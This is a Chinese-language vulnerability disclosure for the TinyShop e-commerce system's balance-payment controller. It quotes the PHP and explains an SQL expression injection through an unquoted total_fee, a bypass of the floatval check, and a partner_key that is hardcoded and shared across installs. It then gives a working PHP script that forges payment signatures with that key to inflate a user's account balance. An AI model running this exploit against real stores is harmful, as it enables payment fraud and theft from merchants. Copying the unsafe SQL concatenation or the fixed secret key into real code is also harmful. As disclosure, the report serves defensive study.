### 简要描述:
再来一发,这次有点艰难。
### 详细说明:
protected/controllers/payment.php,36行
```
public function pay_balance(){
$sign = Req::post('sign');
$args = Req::post();
unset($args['sign']);
$total_fee = Req::post('total_fee');
$attach = Filter::int(Req::post('attach'));
$return['attach'] = Req::post('attach');
$return['total_fee'] = Req::post('total_fee');
$return['order_no'] = Req::post('order_no');
$return['return_url'] = Req::post('return_url');
if(stripos($return['order_no'],'recharge_') !== false)
{
$msg = array('type'=>'fail','msg'=>'余额支付方式,不能用于在线充值功能!');
$this->redirect('/index/msg',false,$msg);
exit;
}
if(floatval($return['total_fee']) <= 0 || $return['order_no'] == '' || $return['return_url'] == '')
{
$msg = array('type'=>'fail','msg'=>'支付参数不正确!');
$this->redirect('/index/msg',false,$msg);
}
else{
$payment = new Payment($attach);
$paymentInfo = $payment->getPayment();
$pay_balance = new pay_balance();
$filter_param = $pay_balance->filterParam($args);
//对待签名参数数组排序
$para_sort = $pay_balance->argSort($filter_param);
$mysign = $pay_balance->buildSign($para_sort,$paymentInfo['partner_key']);
if($mysign == $sign)
{
$user_id = $this->user['id'];
$model = new Model("customer");
$customer = $model->where("user_id=".$user_id)->find();
if($customer['balance']>=$total_fee){
$order = $model->table("order")->where("order_no='".Filter::sql($return['order_no'])."' and user_id=".$user_id)->find();
if($order){
if($order['pay_status']==0){
$flag = $model->table("customer")->where("user_id=".$user_id)->data(array('balance'=>"`balance`-".$total_fee))->update();
$return['order_status'] = 'TINY_SECCESS';
//记录支付日志
Log::balance((0-$total_fee),$user_id,'通过余额支付方式进行商品购买,订单编号:'.$return['order_no']);
$filter_param = $pay_balance->filterParam($return);
$para_sort = $pay_balance->argSort($filter_param);
$sign = $pay_balance->buildSign($para_sort,$paymentInfo['partner_key']);
$prestr = $pay_balance->createLinkstring($para_sort);
$nextUrl = urldecode($return['return_url']);
if(stripos($nextUrl,'?') === false)
{
// $return_url = $nextUrl.'?'.$prestr;
}
else
{
//$return_url = $nextUrl.'&'.$prestr;
}
$return_url=$nextUrl;//.= '&sign='.$sign;
$return['sign'] = $sign;
//var_dump($return_url,$return,$prestr);exit();
$this->redirect("$return_url",true,$return);
//header('location:'.$return_url,true,$result);
exit;
}else{
$msg = array('type'=>'fail','msg'=>'订单已经处理过,请查看订单信息!');
$this->redirect('/index/msg',false,$msg);
exit;
}
}else{
$msg = array('type'=>'fail','msg'=>'订单不存在!');
$this->redirect('/index/msg',false,$msg);
exit;
}
}else{
$msg = array('type'=>'fail','msg'=>'余额不足,请选择其它支付方式!');
$this->redirect('/index/msg',false,$msg);
exit;
}
}
else
{
$msg = array('type'=>'fail','msg'=>'签名错误!');
$this->redirect('/index/msg',false,$msg);
exit;
}
}
}
```
首先定位到82行
```
$flag = $model->table("customer")->where("user_id=".$user_id)->data(array('balance'=>"`balance`-".$total_fee))->update();
```
看到$total_fee没有单引号觉着有戏,往上跟
$total_fee = Req::post('total_fee');
直接post过来的也没有做任何处理,继续往下走
56行:
```
if(floatval($return['total_fee']) <= 0 || $return['order_no'] == '' || $return['return_url'] == '')
{
$msg = array('type'=>'fail','msg'=>'支付参数不正确!');
$this->redirect('/index/msg',false,$msg);
}
```
$return['total_fee']也就是post来的,但是这里判断是否小于0,所以无法直接传负数的方式加钱了,但是注意到这里floatval操作,如果我们传入52+10000呢,floatval取到的是52,这样可以绕过这个判断了,继续往下看
73行:
```
if($mysign == $sign)
```
想要进入最开始那个update操作,需要满足一个条件:sign==mysign,上面一大堆的代码,其实主要关键是在$paymentInfo['partner_key'],这个参数是在数据库中存在,开始觉得希望不大了,因为一般这样的东西都不是固定的,抱着试一试的心理,在不同机器上安装tinyshop,发现partner_key居然一样,也就是
```
NDHGFIUWYY94223343534578MNB
```
这样下来只要我们还原mysign,并将他的值替换到sign中,我们就可以给自己加钱了,当然也可以注入,但是太麻烦了,每买一次商品,order_no都不一样,用来注入太麻烦。
同时要注意这里78行:
```
if($customer['balance']>=$total_fee){
```
由于是字符串比较所以想让payload通过这里,需要你的余额与payload之前比较是通过的:
比如下面测试的时候,我的余额是630,payload=52.00+100,这样两个字符串按位比较就可以通过了。
### 漏洞证明:
1.首先买一件商品到付款页面
[<img src="https://images.seebug.org/upload/201409/04165321d33c4418de7d5e83b2460583679fc3fd.jpg" alt="tinyshop_q.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/04165321d33c4418de7d5e83b2460583679fc3fd.jpg)
2.截包获取的order_no放到写好的exp里面还原出对应的mysign并替换到sign
比如这里的order_no=20140904163119891372
[<img src="https://images.seebug.org/upload/201409/04165406167ee4f3d6c556f4939e417b71447fde.jpg" alt="tinyshop_w.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/04165406167ee4f3d6c556f4939e417b71447fde.jpg)
还原算法:
```
<?php
function filterParam($para)
{
$filter_param = array();
foreach($para as $key => $val)
{
if($key == "sign" || $key == "sign_type" || $val == "")
{
continue;
}
else
{
$filter_param[$key] = $para[$key];
}
}
return $filter_param;
}
function argSort($para)
{
ksort($para);
reset($para);
return $para;
}
function createLinkstring($para){
$arg = "";
foreach($para as $key => $val){
$arg.=$key."=".$val."&";
}
//去掉最后一个&字符
$arg = trim($arg,'&');
//如果存在转义字符,那么去掉转义
if(get_magic_quotes_gpc()){
$arg = stripslashes($arg);
}
return $arg;
}
function buildSign($sort_para,$key,$sign_type = "MD5")
{
//把数组所有元素,按照“参数=参数值”的模式用“&”字符拼接成字符串
$prestr = createLinkstring($sort_para);
//把拼接后的字符串再与安全校验码直接连接起来
$prestr = $prestr.$key;
$mysgin = md5($prestr);
return $mysgin;
}
$order_no1 = $argv[1];
$args = array(
"attach" => "1",
"total_fee" => "52.00+100",
"order_no" => $order_no1,//"20140904152012468756",
"return_url" => "http://localhost/tinyshop/index.php?con=payment&act=callback&payment_id=1");
$filter_param = filterParam($args);
$para_sort = argSort($filter_param);
$sign = buildSign($para_sort,'NDHGFIUWYY94223343534578MNB');
echo $sign;
?>
```
total_fee 设置成你想要加的钱 比如total_fee=52.00+100
[<img src="https://images.seebug.org/upload/201409/0416550887e87699fe9a19a564146fee7c4f1c49.jpg" alt="tinyshop_e.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/0416550887e87699fe9a19a564146fee7c4f1c49.jpg)
结果:
[<img src="https://images.seebug.org/upload/201409/04183311ff286adb3cc60fd000111abcb3ca0e43.jpg" alt="tinyshop_r.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/04183311ff286adb3cc60fd000111abcb3ca0e43.jpg)
[<img src="https://images.seebug.org/upload/201409/04183321af71f5920b1cdc0fe6ce444c823ce4ea.jpg" alt="tinyshop_t.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/04183321af71f5920b1cdc0fe6ce444c823ce4ea.jpg)
暂无评论